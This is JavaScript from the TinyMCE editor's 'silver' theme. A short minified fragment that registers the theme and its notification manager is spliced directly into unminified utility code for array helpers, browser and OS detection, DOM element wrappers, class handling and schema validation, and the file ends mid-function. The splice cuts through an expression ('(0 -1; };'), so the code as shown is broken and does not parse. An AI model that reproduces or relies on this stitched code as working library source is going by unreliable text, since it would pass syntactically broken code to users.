n=u();Df.setValue(t,n.getData())})],!1)},FB=zE,IB=tinymce.util.Tools.resolve("tinymce.util.URI"),RB=["insertContent","setContent","execCommand","close","block","unblock"];o.add("silver",function(t){var n=fE(t),e=n.uiMothership,o=n.backstage,r=n.renderUI,i=n.getUi;return uy(t,o.shared),{renderUI:r,getWindowManagerImpl:rt(GE({editor:t,backstage:o})),getNotificationManagerImpl:function(){return u=t,r=e,l={backstage:o}.backstage.shared,{open:function(t,n){function e(){n(),up.hide(c)}var o=!t.closeButton&&t.timeout&&(0 -1; }; var exists = function (xs, pred) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return true; } } return false; }; var map$2 = function (xs, f) { var len = xs.length; var r = new Array(len); for (var i = 0; i < len; i++) { var x = xs[i]; r[i] = f(x, i); } return r; }; var each$1 = function (xs, f) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; f(x, i); } }; var eachr = function (xs, f) { for (var i = xs.length - 1; i >= 0; i--) { var x = xs[i]; f(x, i); } }; var filter$2 = function (xs, pred) { var r = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { r.push(x); } } return r; }; var foldr = function (xs, f, acc) { eachr(xs, function (x, i) { acc = f(acc, x, i); }); return acc; }; var foldl = function (xs, f, acc) { each$1(xs, function (x, i) { acc = f(acc, x, i); }); return acc; }; var findUntil = function (xs, pred, until) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return Optional.some(x); } else if (until(x, i)) { break; } } return Optional.none(); }; var find$2 = function (xs, pred) { return findUntil(xs, pred, never); }; var findIndex$1 = function (xs, pred) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return Optional.some(i); } } return Optional.none(); }; var flatten = function (xs) { var r = []; for (var i = 0, len = xs.length; i < len; ++i) { if (!isArray(xs[i])) { throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs); } nativePush.apply(r, xs[i]); } return r; }; var bind$3 = function (xs, f) { return flatten(map$2(xs, f)); }; var forall = function (xs, pred) { for (var i = 0, len = xs.length; i < len; ++i) { var x = xs[i]; if (pred(x, i) !== true) { return false; } } return true; }; var reverse = function (xs) { var r = nativeSlice.call(xs, 0); r.reverse(); return r; }; var difference = function (a1, a2) { return filter$2(a1, function (x) { return !contains$1(a2, x); }); }; var pure$2 = function (x) { return [x]; }; var sort = function (xs, comparator) { var copy = nativeSlice.call(xs, 0); copy.sort(comparator); return copy; }; var get$d = function (xs, i) { return i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none(); }; var head = function (xs) { return get$d(xs, 0); }; var findMap = function (arr, f) { for (var i = 0; i < arr.length; i++) { var r = f(arr[i], i); if (r.isSome()) { return r; } } return Optional.none(); }; var firstMatch = function (regexes, s) { for (var i = 0; i < regexes.length; i++) { var x = regexes[i]; if (x.test(s)) { return x; } } return undefined; }; var find$1 = function (regexes, agent) { var r = firstMatch(regexes, agent); if (!r) { return { major: 0, minor: 0 }; } var group = function (i) { return Number(agent.replace(r, '$' + i)); }; return nu$8(group(1), group(2)); }; var detect$4 = function (versionRegexes, agent) { var cleanedAgent = String(agent).toLowerCase(); if (versionRegexes.length === 0) { return unknown$3(); } return find$1(versionRegexes, cleanedAgent); }; var unknown$3 = function () { return nu$8(0, 0); }; var nu$8 = function (major, minor) { return { major: major, minor: minor }; }; var Version = { nu: nu$8, detect: detect$4, unknown: unknown$3 }; var detectBrowser$1 = function (browsers, userAgentData) { return findMap(userAgentData.brands, function (uaBrand) { var lcBrand = uaBrand.brand.toLowerCase(); return find$2(browsers, function (browser) { var _a; return lcBrand === ((_a = browser.brand) === null || _a === void 0 ? void 0 : _a.toLowerCase()); }).map(function (info) { return { current: info.name, version: Version.nu(parseInt(uaBrand.version, 10), 0) }; }); }); }; var detect$3 = function (candidates, userAgent) { var agent = String(userAgent).toLowerCase(); return find$2(candidates, function (candidate) { return candidate.search(agent); }); }; var detectBrowser = function (browsers, userAgent) { return detect$3(browsers, userAgent).map(function (browser) { var version = Version.detect(browser.versionRegexes, userAgent); return { current: browser.name, version: version }; }); }; var detectOs = function (oses, userAgent) { return detect$3(oses, userAgent).map(function (os) { var version = Version.detect(os.versionRegexes, userAgent); return { current: os.name, version: version }; }); }; var checkRange = function (str, substr, start) { return substr === '' || str.length >= substr.length && str.substr(start, start + substr.length) === substr; }; var supplant = function (str, obj) { var isStringOrNumber = function (a) { var t = typeof a; return t === 'string' || t === 'number'; }; return str.replace(/\$\{([^{}]*)\}/g, function (fullMatch, key) { var value = obj[key]; return isStringOrNumber(value) ? value.toString() : fullMatch; }); }; var contains = function (str, substr) { return str.indexOf(substr) !== -1; }; var endsWith = function (str, suffix) { return checkRange(str, suffix, str.length - suffix.length); }; var blank = function (r) { return function (s) { return s.replace(r, ''); }; }; var trim = blank(/^\s+|\s+$/g); var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/; var checkContains = function (target) { return function (uastring) { return contains(uastring, target); }; }; var browsers = [ { name: 'Edge', versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/], search: function (uastring) { return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit'); } }, { name: 'Chrome', brand: 'Chromium', versionRegexes: [ /.*?chrome\/([0-9]+)\.([0-9]+).*/, normalVersionRegex ], search: function (uastring) { return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe'); } }, { name: 'IE', versionRegexes: [ /.*?msie\ ?([0-9]+)\.([0-9]+).*/, /.*?rv:([0-9]+)\.([0-9]+).*/ ], search: function (uastring) { return contains(uastring, 'msie') || contains(uastring, 'trident'); } }, { name: 'Opera', versionRegexes: [ normalVersionRegex, /.*?opera\/([0-9]+)\.([0-9]+).*/ ], search: checkContains('opera') }, { name: 'Firefox', versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/], search: checkContains('firefox') }, { name: 'Safari', versionRegexes: [ normalVersionRegex, /.*?cpu os ([0-9]+)_([0-9]+).*/ ], search: function (uastring) { return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit'); } } ]; var oses = [ { name: 'Windows', search: checkContains('win'), versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'iOS', search: function (uastring) { return contains(uastring, 'iphone') || contains(uastring, 'ipad'); }, versionRegexes: [ /.*?version\/\ ?([0-9]+)\.([0-9]+).*/, /.*cpu os ([0-9]+)_([0-9]+).*/, /.*cpu iphone os ([0-9]+)_([0-9]+).*/ ] }, { name: 'Android', search: checkContains('android'), versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'OSX', search: checkContains('mac os x'), versionRegexes: [/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/] }, { name: 'Linux', search: checkContains('linux'), versionRegexes: [] }, { name: 'Solaris', search: checkContains('sunos'), versionRegexes: [] }, { name: 'FreeBSD', search: checkContains('freebsd'), versionRegexes: [] }, { name: 'ChromeOS', search: checkContains('cros'), versionRegexes: [/.*?chrome\/([0-9]+)\.([0-9]+).*/] } ]; var PlatformInfo = { browsers: constant$1(browsers), oses: constant$1(oses) }; var edge = 'Edge'; var chrome = 'Chrome'; var ie = 'IE'; var opera = 'Opera'; var firefox = 'Firefox'; var safari = 'Safari'; var unknown$2 = function () { return nu$7({ current: undefined, version: Version.unknown() }); }; var nu$7 = function (info) { var current = info.current; var version = info.version; var isBrowser = function (name) { return function () { return current === name; }; }; return { current: current, version: version, isEdge: isBrowser(edge), isChrome: isBrowser(chrome), isIE: isBrowser(ie), isOpera: isBrowser(opera), isFirefox: isBrowser(firefox), isSafari: isBrowser(safari) }; }; var Browser = { unknown: unknown$2, nu: nu$7, edge: constant$1(edge), chrome: constant$1(chrome), ie: constant$1(ie), opera: constant$1(opera), firefox: constant$1(firefox), safari: constant$1(safari) }; var windows = 'Windows'; var ios = 'iOS'; var android = 'Android'; var linux = 'Linux'; var osx = 'OSX'; var solaris = 'Solaris'; var freebsd = 'FreeBSD'; var chromeos = 'ChromeOS'; var unknown$1 = function () { return nu$6({ current: undefined, version: Version.unknown() }); }; var nu$6 = function (info) { var current = info.current; var version = info.version; var isOS = function (name) { return function () { return current === name; }; }; return { current: current, version: version, isWindows: isOS(windows), isiOS: isOS(ios), isAndroid: isOS(android), isOSX: isOS(osx), isLinux: isOS(linux), isSolaris: isOS(solaris), isFreeBSD: isOS(freebsd), isChromeOS: isOS(chromeos) }; }; var OperatingSystem = { unknown: unknown$1, nu: nu$6, windows: constant$1(windows), ios: constant$1(ios), android: constant$1(android), linux: constant$1(linux), osx: constant$1(osx), solaris: constant$1(solaris), freebsd: constant$1(freebsd), chromeos: constant$1(chromeos) }; var detect$2 = function (userAgent, userAgentDataOpt, mediaMatch) { var browsers = PlatformInfo.browsers(); var oses = PlatformInfo.oses(); var browser = userAgentDataOpt.bind(function (userAgentData) { return detectBrowser$1(browsers, userAgentData); }).orThunk(function () { return detectBrowser(browsers, userAgent); }).fold(Browser.unknown, Browser.nu); var os = detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu); var deviceType = DeviceType(os, browser, userAgent, mediaMatch); return { browser: browser, os: os, deviceType: deviceType }; }; var PlatformDetection = { detect: detect$2 }; var mediaMatch = function (query) { return window.matchMedia(query).matches; }; var platform$1 = cached(function () { return PlatformDetection.detect(navigator.userAgent, Optional.from(navigator.userAgentData), mediaMatch); }); var detect$1 = function () { return platform$1(); }; var constant = constant$1; var touchstart = constant('touchstart'); var touchmove = constant('touchmove'); var touchend = constant('touchend'); var mousedown = constant('mousedown'); var mousemove = constant('mousemove'); var mouseup = constant('mouseup'); var mouseover = constant('mouseover'); var keydown = constant('keydown'); var keyup = constant('keyup'); var input$1 = constant('input'); var change = constant('change'); var click = constant('click'); var transitionend = constant('transitionend'); var selectstart = constant('selectstart'); var prefixName = function (name) { return constant$1('alloy.' + name); }; var alloy = { tap: prefixName('tap') }; var focus$4 = prefixName('focus'); var postBlur = prefixName('blur.post'); var postPaste = prefixName('paste.post'); var receive$1 = prefixName('receive'); var execute$5 = prefixName('execute'); var focusItem = prefixName('focus.item'); var tap = alloy.tap; var longpress = prefixName('longpress'); var systemInit = prefixName('system.init'); var attachedToDom = prefixName('system.attached'); var detachedFromDom = prefixName('system.detached'); var focusShifted = prefixName('focusmanager.shifted'); var highlight$1 = prefixName('highlight'); var dehighlight$1 = prefixName('dehighlight'); var emit = function (component, event) { dispatchWith(component, component.element, event, {}); }; var emitWith = function (component, event, properties) { dispatchWith(component, component.element, event, properties); }; var emitExecute = function (component) { emit(component, execute$5()); }; var dispatch = function (component, target, event) { dispatchWith(component, target, event, {}); }; var dispatchWith = function (component, target, event, properties) { var data = __assign({ target: target }, properties); component.getSystem().triggerEvent(event, target, data); }; var dispatchEvent = function (component, target, event, simulatedEvent) { component.getSystem().triggerEvent(event, target, simulatedEvent.event); }; var dispatchFocus = function (component, target) { component.getSystem().triggerFocus(target, component.element); }; var DOCUMENT = 9; var DOCUMENT_FRAGMENT = 11; var ELEMENT = 1; var TEXT = 3; var fromHtml$2 = function (html, scope) { var doc = scope || document; var div = doc.createElement('div'); div.innerHTML = html; if (!div.hasChildNodes() || div.childNodes.length > 1) { console.error('HTML does not have a single root node', html); throw new Error('HTML must have a single root node'); } return fromDom(div.childNodes[0]); }; var fromTag = function (tag, scope) { var doc = scope || document; var node = doc.createElement(tag); return fromDom(node); }; var fromText = function (text, scope) { var doc = scope || document; var node = doc.createTextNode(text); return fromDom(node); }; var fromDom = function (node) { if (node === null || node === undefined) { throw new Error('Node cannot be null or undefined'); } return { dom: node }; }; var fromPoint = function (docElm, x, y) { return Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom); }; var SugarElement = { fromHtml: fromHtml$2, fromTag: fromTag, fromText: fromText, fromDom: fromDom, fromPoint: fromPoint }; var is$1 = function (element, selector) { var dom = element.dom; if (dom.nodeType !== ELEMENT) { return false; } else { var elem = dom; if (elem.matches !== undefined) { return elem.matches(selector); } else if (elem.msMatchesSelector !== undefined) { return elem.msMatchesSelector(selector); } else if (elem.webkitMatchesSelector !== undefined) { return elem.webkitMatchesSelector(selector); } else if (elem.mozMatchesSelector !== undefined) { return elem.mozMatchesSelector(selector); } else { throw new Error('Browser lacks native selectors'); } } }; var bypassSelector = function (dom) { return dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT && dom.nodeType !== DOCUMENT_FRAGMENT || dom.childElementCount === 0; }; var all$2 = function (selector, scope) { var base = scope === undefined ? document : scope.dom; return bypassSelector(base) ? [] : map$2(base.querySelectorAll(selector), SugarElement.fromDom); }; var one = function (selector, scope) { var base = scope === undefined ? document : scope.dom; return bypassSelector(base) ? Optional.none() : Optional.from(base.querySelector(selector)).map(SugarElement.fromDom); }; var eq = function (e1, e2) { return e1.dom === e2.dom; }; typeof window !== 'undefined' ? window : Function('return this;')(); var name$1 = function (element) { var r = element.dom.nodeName; return r.toLowerCase(); }; var type = function (element) { return element.dom.nodeType; }; var isType = function (t) { return function (element) { return type(element) === t; }; }; var isElement = isType(ELEMENT); var isText = isType(TEXT); var isDocument = isType(DOCUMENT); var isDocumentFragment = isType(DOCUMENT_FRAGMENT); var owner$2 = function (element) { return SugarElement.fromDom(element.dom.ownerDocument); }; var documentOrOwner = function (dos) { return isDocument(dos) ? dos : owner$2(dos); }; var defaultView = function (element) { return SugarElement.fromDom(documentOrOwner(element).dom.defaultView); }; var parent = function (element) { return Optional.from(element.dom.parentNode).map(SugarElement.fromDom); }; var parents = function (element, isRoot) { var stop = isFunction(isRoot) ? isRoot : never; var dom = element.dom; var ret = []; while (dom.parentNode !== null && dom.parentNode !== undefined) { var rawParent = dom.parentNode; var p = SugarElement.fromDom(rawParent); ret.push(p); if (stop(p) === true) { break; } else { dom = rawParent; } } return ret; }; var siblings$2 = function (element) { var filterSelf = function (elements) { return filter$2(elements, function (x) { return !eq(element, x); }); }; return parent(element).map(children).map(filterSelf).getOr([]); }; var nextSibling = function (element) { return Optional.from(element.dom.nextSibling).map(SugarElement.fromDom); }; var children = function (element) { return map$2(element.dom.childNodes, SugarElement.fromDom); }; var child = function (element, index) { var cs = element.dom.childNodes; return Optional.from(cs[index]).map(SugarElement.fromDom); }; var firstChild = function (element) { return child(element, 0); }; var before$1 = function (marker, element) { var parent$1 = parent(marker); parent$1.each(function (v) { v.dom.insertBefore(element.dom, marker.dom); }); }; var after$2 = function (marker, element) { var sibling = nextSibling(marker); sibling.fold(function () { var parent$1 = parent(marker); parent$1.each(function (v) { append$2(v, element); }); }, function (v) { before$1(v, element); }); }; var prepend$1 = function (parent, element) { var firstChild$1 = firstChild(parent); firstChild$1.fold(function () { append$2(parent, element); }, function (v) { parent.dom.insertBefore(element.dom, v.dom); }); }; var append$2 = function (parent, element) { parent.dom.appendChild(element.dom); }; var appendAt = function (parent, element, index) { child(parent, index).fold(function () { append$2(parent, element); }, function (v) { before$1(v, element); }); }; var append$1 = function (parent, elements) { each$1(elements, function (x) { append$2(parent, x); }); }; var empty = function (element) { element.dom.textContent = ''; each$1(children(element), function (rogue) { remove$7(rogue); }); }; var remove$7 = function (element) { var dom = element.dom; if (dom.parentNode !== null) { dom.parentNode.removeChild(dom); } }; var isShadowRoot = function (dos) { return isDocumentFragment(dos) && isNonNullable(dos.dom.host); }; var supported = isFunction(Element.prototype.attachShadow) && isFunction(Node.prototype.getRootNode); var isSupported$1 = constant$1(supported); var getRootNode = supported ? function (e) { return SugarElement.fromDom(e.dom.getRootNode()); } : documentOrOwner; var getShadowRoot = function (e) { var r = getRootNode(e); return isShadowRoot(r) ? Optional.some(r) : Optional.none(); }; var getShadowHost = function (e) { return SugarElement.fromDom(e.dom.host); }; var getOriginalEventTarget = function (event) { if (isSupported$1() && isNonNullable(event.target)) { var el = SugarElement.fromDom(event.target); if (isElement(el) && isOpenShadowHost(el)) { if (event.composed && event.composedPath) { var composedPath = event.composedPath(); if (composedPath) { return head(composedPath); } } } } return Optional.from(event.target); }; var isOpenShadowHost = function (element) { return isNonNullable(element.dom.shadowRoot); }; var inBody = function (element) { var dom = isText(element) ? element.dom.parentNode : element.dom; if (dom === undefined || dom === null || dom.ownerDocument === null) { return false; } var doc = dom.ownerDocument; return getShadowRoot(SugarElement.fromDom(dom)).fold(function () { return doc.body.contains(dom); }, compose1(inBody, getShadowHost)); }; var body = function () { return getBody(SugarElement.fromDom(document)); }; var getBody = function (doc) { var b = doc.dom.body; if (b === null || b === undefined) { throw new Error('Body is not available yet'); } return SugarElement.fromDom(b); }; var fireDetaching = function (component) { emit(component, detachedFromDom()); var children = component.components(); each$1(children, fireDetaching); }; var fireAttaching = function (component) { var children = component.components(); each$1(children, fireAttaching); emit(component, attachedToDom()); }; var attach$1 = function (parent, child) { append$2(parent.element, child.element); }; var detachChildren = function (component) { each$1(component.components(), function (childComp) { return remove$7(childComp.element); }); empty(component.element); component.syncComponents(); }; var replaceChildren = function (component, newChildren) { var subs = component.components(); detachChildren(component); var deleted = difference(subs, newChildren); each$1(deleted, function (comp) { fireDetaching(comp); component.getSystem().removeFromWorld(comp); }); each$1(newChildren, function (childComp) { if (!childComp.getSystem().isConnected()) { component.getSystem().addToWorld(childComp); attach$1(component, childComp); if (inBody(component.element)) { fireAttaching(childComp); } } else { attach$1(component, childComp); } component.syncComponents(); }); }; var attach = function (parent, child) { attachWith(parent, child, append$2); }; var attachWith = function (parent, child, insertion) { parent.getSystem().addToWorld(child); insertion(parent.element, child.element); if (inBody(parent.element)) { fireAttaching(child); } parent.syncComponents(); }; var doDetach = function (component) { fireDetaching(component); remove$7(component.element); component.getSystem().removeFromWorld(component); }; var detach = function (component) { var parent$1 = parent(component.element).bind(function (p) { return component.getSystem().getByDom(p).toOptional(); }); doDetach(component); parent$1.each(function (p) { p.syncComponents(); }); }; var attachSystemAfter = function (element, guiSystem) { attachSystemWith(element, guiSystem, after$2); }; var attachSystemWith = function (element, guiSystem, inserter) { inserter(element, guiSystem.element); var children$1 = children(guiSystem.element); each$1(children$1, function (child) { guiSystem.getByDom(child).each(fireAttaching); }); }; var detachSystem = function (guiSystem) { var children$1 = children(guiSystem.element); each$1(children$1, function (child) { guiSystem.getByDom(child).each(fireDetaching); }); remove$7(guiSystem.element); }; var keys = Object.keys; var hasOwnProperty = Object.hasOwnProperty; var each = function (obj, f) { var props = keys(obj); for (var k = 0, len = props.length; k < len; k++) { var i = props[k]; var x = obj[i]; f(x, i); } }; var map$1 = function (obj, f) { return tupleMap(obj, function (x, i) { return { k: i, v: f(x, i) }; }); }; var tupleMap = function (obj, f) { var r = {}; each(obj, function (x, i) { var tuple = f(x, i); r[tuple.k] = tuple.v; }); return r; }; var objAcc = function (r) { return function (x, i) { r[i] = x; }; }; var internalFilter = function (obj, pred, onTrue, onFalse) { var r = {}; each(obj, function (x, i) { (pred(x, i) ? onTrue : onFalse)(x, i); }); return r; }; var filter$1 = function (obj, pred) { var t = {}; internalFilter(obj, pred, objAcc(t), noop); return t; }; var mapToArray = function (obj, f) { var r = []; each(obj, function (value, name) { r.push(f(value, name)); }); return r; }; var find = function (obj, pred) { var props = keys(obj); for (var k = 0, len = props.length; k < len; k++) { var i = props[k]; var x = obj[i]; if (pred(x, i, obj)) { return Optional.some(x); } } return Optional.none(); }; var values = function (obj) { return mapToArray(obj, identity); }; var get$c = function (obj, key) { return has$2(obj, key) ? Optional.from(obj[key]) : Optional.none(); }; var has$2 = function (obj, key) { return hasOwnProperty.call(obj, key); }; var hasNonNullableKey = function (obj, key) { return has$2(obj, key) && obj[key] !== undefined && obj[key] !== null; }; var rawSet = function (dom, key, value) { if (isString(value) || isBoolean(value) || isNumber(value)) { dom.setAttribute(key, value + ''); } else { console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom); throw new Error('Attribute value was not simple'); } }; var set$8 = function (element, key, value) { rawSet(element.dom, key, value); }; var setAll$1 = function (element, attrs) { var dom = element.dom; each(attrs, function (v, k) { rawSet(dom, k, v); }); }; var get$b = function (element, key) { var v = element.dom.getAttribute(key); return v === null ? undefined : v; }; var getOpt = function (element, key) { return Optional.from(get$b(element, key)); }; var has$1 = function (element, key) { var dom = element.dom; return dom && dom.hasAttribute ? dom.hasAttribute(key) : false; }; var remove$6 = function (element, key) { element.dom.removeAttribute(key); }; var read$2 = function (element, attr) { var value = get$b(element, attr); return value === undefined || value === '' ? [] : value.split(' '); }; var add$3 = function (element, attr, id) { var old = read$2(element, attr); var nu = old.concat([id]); set$8(element, attr, nu.join(' ')); return true; }; var remove$5 = function (element, attr, id) { var nu = filter$2(read$2(element, attr), function (v) { return v !== id; }); if (nu.length > 0) { set$8(element, attr, nu.join(' ')); } else { remove$6(element, attr); } return false; }; var supports = function (element) { return element.dom.classList !== undefined; }; var get$a = function (element) { return read$2(element, 'class'); }; var add$2 = function (element, clazz) { return add$3(element, 'class', clazz); }; var remove$4 = function (element, clazz) { return remove$5(element, 'class', clazz); }; var add$1 = function (element, clazz) { if (supports(element)) { element.dom.classList.add(clazz); } else { add$2(element, clazz); } }; var cleanClass = function (element) { var classList = supports(element) ? element.dom.classList : get$a(element); if (classList.length === 0) { remove$6(element, 'class'); } }; var remove$3 = function (element, clazz) { if (supports(element)) { var classList = element.dom.classList; classList.remove(clazz); } else { remove$4(element, clazz); } cleanClass(element); }; var has = function (element, clazz) { return supports(element) && element.dom.classList.contains(clazz); }; var swap = function (element, addCls, removeCls) { remove$3(element, removeCls); add$1(element, addCls); }; var toAlpha = function (component, swapConfig, _swapState) { swap(component.element, swapConfig.alpha, swapConfig.omega); }; var toOmega = function (component, swapConfig, _swapState) { swap(component.element, swapConfig.omega, swapConfig.alpha); }; var clear$1 = function (component, swapConfig, _swapState) { remove$3(component.element, swapConfig.alpha); remove$3(component.element, swapConfig.omega); }; var isAlpha = function (component, swapConfig, _swapState) { return has(component.element, swapConfig.alpha); }; var isOmega = function (component, swapConfig, _swapState) { return has(component.element, swapConfig.omega); }; var SwapApis = /*#__PURE__*/Object.freeze({ __proto__: null, toAlpha: toAlpha, toOmega: toOmega, isAlpha: isAlpha, isOmega: isOmega, clear: clear$1 }); var value$2 = function (o) { var or = function (_opt) { return value$2(o); }; var orThunk = function (_f) { return value$2(o); }; var map = function (f) { return value$2(f(o)); }; var mapError = function (_f) { return value$2(o); }; var each = function (f) { f(o); }; var bind = function (f) { return f(o); }; var fold = function (_, onValue) { return onValue(o); }; var exists = function (f) { return f(o); }; var forall = function (f) { return f(o); }; var toOptional = function () { return Optional.some(o); }; return { isValue: always, isError: never, getOr: constant$1(o), getOrThunk: constant$1(o), getOrDie: constant$1(o), or: or, orThunk: orThunk, fold: fold, map: map, mapError: mapError, each: each, bind: bind, exists: exists, forall: forall, toOptional: toOptional }; }; var error = function (message) { var getOrThunk = function (f) { return f(); }; var getOrDie = function () { return die(String(message))(); }; var or = identity; var orThunk = function (f) { return f(); }; var map = function (_f) { return error(message); }; var mapError = function (f) { return error(f(message)); }; var bind = function (_f) { return error(message); }; var fold = function (onError, _) { return onError(message); }; return { isValue: never, isError: always, getOr: identity, getOrThunk: getOrThunk, getOrDie: getOrDie, or: or, orThunk: orThunk, fold: fold, map: map, mapError: mapError, each: noop, bind: bind, exists: never, forall: always, toOptional: Optional.none }; }; var fromOption = function (opt, err) { return opt.fold(function () { return error(err); }, value$2); }; var Result = { value: value$2, error: error, fromOption: fromOption }; var SimpleResultType; (function (SimpleResultType) { SimpleResultType[SimpleResultType['Error'] = 0] = 'Error'; SimpleResultType[SimpleResultType['Value'] = 1] = 'Value'; }(SimpleResultType || (SimpleResultType = {}))); var fold$1 = function (res, onError, onValue) { return res.stype === SimpleResultType.Error ? onError(res.serror) : onValue(res.svalue); }; var partition$1 = function (results) { var values = []; var errors = []; each$1(results, function (obj) { fold$1(obj, function (err) { return errors.push(err); }, function (val) { return values.push(val); }); }); return { values: values, errors: errors }; }; var mapError = function (res, f) { if (res.stype === SimpleResultType.Error) { return { stype: SimpleResultType.Error, serror: f(res.serror) }; } else { return res; } }; var map = function (res, f) { if (res.stype === SimpleResultType.Value) { return { stype: SimpleResultType.Value, svalue: f(res.svalue) }; } else { return res; } }; var bind$2 = function (res, f) { if (res.stype === SimpleResultType.Value) { return f(res.svalue); } else { return res; } }; var bindError = function (res, f) { if (res.stype === SimpleResultType.Error) { return f(res.serror); } else { return res; } }; var svalue = function (v) { return { stype: SimpleResultType.Value, svalue: v }; }; var serror = function (e) { return { stype: SimpleResultType.Error, serror: e }; }; var toResult$1 = function (res) { return fold$1(res, Result.error, Result.value); }; var fromResult = function (res) { return res.fold(serror, svalue); }; var SimpleResult = { fromResult: fromResult, toResult: toResult$1, svalue: svalue, partition: partition$1, serror: serror, bind: bind$2, bindError: bindError, map: map, mapError: mapError, fold: fold$1 }; var field$3 = function (key, newKey, presence, prop) { return { tag: 'field', key: key, newKey: newKey, presence: presence, prop: prop }; }; var customField$1 = function (newKey, instantiator) { return { tag: 'custom', newKey: newKey, instantiator: instantiator }; }; var fold = function (value, ifField, ifCustom) { switch (value.tag) { case 'field': return ifField(value.key, value.newKey, value.presence, value.prop); case 'custom': return ifCustom(value.newKey, value.instantiator); } }; var shallow$1 = function (old, nu) { return nu; }; var deep = function (old, nu) { var bothObjects = isObject(old) && isObject(nu); return bothObjects ? deepMerge(old, nu) : nu; }; var baseMerge = function (merger) { return function () { var objects = []; for (var _i = 0; _i < arguments.length; _i++) { objects[_i] = arguments[_i]; } if (objects.length === 0) { throw new Error('Can\'t merge zero objects'); } var ret = {}; for (var j = 0; j < objects.length; j++) { var curObject = objects[j]; for (var key in curObject) { if (has$2(curObject, key)) { ret[key] = merger(ret[key], curObject[key]); } } } return ret; }; }; var deepMerge = baseMerge(deep); var merge$1 = baseMerge(shallow$1); var required$2 = function () { return { tag: 'required', process: {} }; }; var defaultedThunk = function (fallbackThunk) { return { tag: 'defaultedThunk', process: fallbackThunk }; }; var defaulted$1 = function (fallback) { return defaultedThunk(constant$1(fallback)); }; var asOption = function () { return { tag: 'option', process: {} }; }; var mergeWithThunk = function (baseThunk) { return { tag: 'mergeWithThunk', process: baseThunk }; }; var mergeWith = function (base) { return mergeWithThunk(constant$1(base)); }; var mergeValues$1 = function (values, base) { return values.length > 0 ? SimpleResult.svalue(deepMerge(base, merge$1.apply(undefined, values))) : SimpleResult.svalue(base); }; var mergeErrors$1 = function (errors) { return compose(SimpleResult.serror, flatten)(errors); }; var consolidateObj = function (objects, base) { var partition = SimpleResult.partition(objects); return partition.errors.length > 0 ? mergeErrors$1(partition.errors) : mergeValues$1(partition.values, base); }; var consolidateArr = function (objects) { var partitions = SimpleResult.partition(objects); return partitions.errors.length > 0 ? mergeErrors$1(partitions.errors) : SimpleResult.svalue(partitions.values); }; var ResultCombine = { consolidateObj: consolidateObj, consolidateArr: consolidateArr }; var formatObj = function (input) { return isObject(input) && keys(input).length > 100 ? ' removed due to size' : JSON.stringify(input, null, 2); }; var formatErrors = function (errors) { var es = errors.length > 10 ? errors.slice(0, 10).concat([{ path: [], getErrorInfo: constant$1('... (only showing first ten failures)') }]) : errors; return map$2(es, function (e) { return 'Failed path: (' + e.path.join(' > ') + ')\n' + e.getErrorInfo(); }); }; var nu$5 = function (path, getErrorInfo) { return SimpleResult.serror([{ path: path, getErrorInfo: getErrorInfo }]); }; var missingRequired = function (path, key, obj) { return nu$5(path, function () { return 'Could not find valid *required* value for "' + key + '" in ' + formatObj(obj); }); }; var missingKey = function (path, key) { return nu$5(path, function () { return 'Choice schema did not contain choice key: "' + key + '"'; }); }; var missingBranch = function (path, branches, branch) { return nu$5(path, function () { return 'The chosen schema: "' + branch + '" did not exist in branches: ' + formatObj(branches); }); }; var unsupportedFields = function (path, unsupported) { return nu$5(path, function () { return 'There are unsupported fields: [' + unsupported.join(', ') + '] specified'; }); }; var custom = function (path, err) { return nu$5(path, constant$1(err)); }; var value$1 = function (validator) { var extract = function (path, val) { return SimpleResult.bindError(validator(val), function (err) { return custom(path, err); }); }; var toString = constant$1('val'); return { extract: extract, toString: toString }; }; var anyValue$1 = value$1(SimpleResult.svalue); var requiredAccess = function (path, obj, key, bundle) { return get$c(obj, key).fold(function () { return missingRequired(path, key, obj); }, bundle); }; var fallbackAccess = function (obj, key, fallback, bundle) { var v = get$c(obj, key).getOrThunk(function () { return fallback(obj); }); return bundle(v); }; var optionAccess = function (obj, key, bundle) { return bundle(get$c(obj, key)); }; var optionDefaultedAccess = function (obj, key, fallback, bundle) { var opt = get$c(obj, key).map(function (val) { return val === true ? fallback(obj) : val; }); return bundle(opt); }; var extractField = function (field, path, obj, key, prop) { var bundle = function (av) { return prop.extract(path.concat([key]), av); }; var bundleAsOption = function (optValue) { return optValue.fold(function () { return SimpleResult.svalue(Optional.none()); }, function (ov) { var result = prop.extract(path.concat([key]), ov); return SimpleResult.map(result, Optional.some); }); }; switch (field.tag) { case 'required': return requiredAccess(path, obj, key, bundle); case 'defaultedThunk': return fallbackAccess(obj, key, field.process, bundle); case 'option': return optionAccess(obj, key, bundleAsOption); case 'defaultedOptionThunk': return optionDefaultedAccess(obj, key, field.process, bundleAsOption); case 'mergeWithThunk': { return fallbackAccess(obj, key, constant$1({}), function (v) { var result = deepMerge(field.process(obj), v); return bundle(result); }); } } }; var extractFields = function (path, obj, fields) { var success = {}; var errors = []; for (var _i = 0, fields_1 = fields; _i < fields_1.length; _i++) { var field = fields_1[_i]; fold(field, function (key, newKey, presence, prop) { var result = extractField(presence, path, obj, key, prop); SimpleResult.fold(result, function (err) { errors.push.apply(errors, err); }, function (res) { 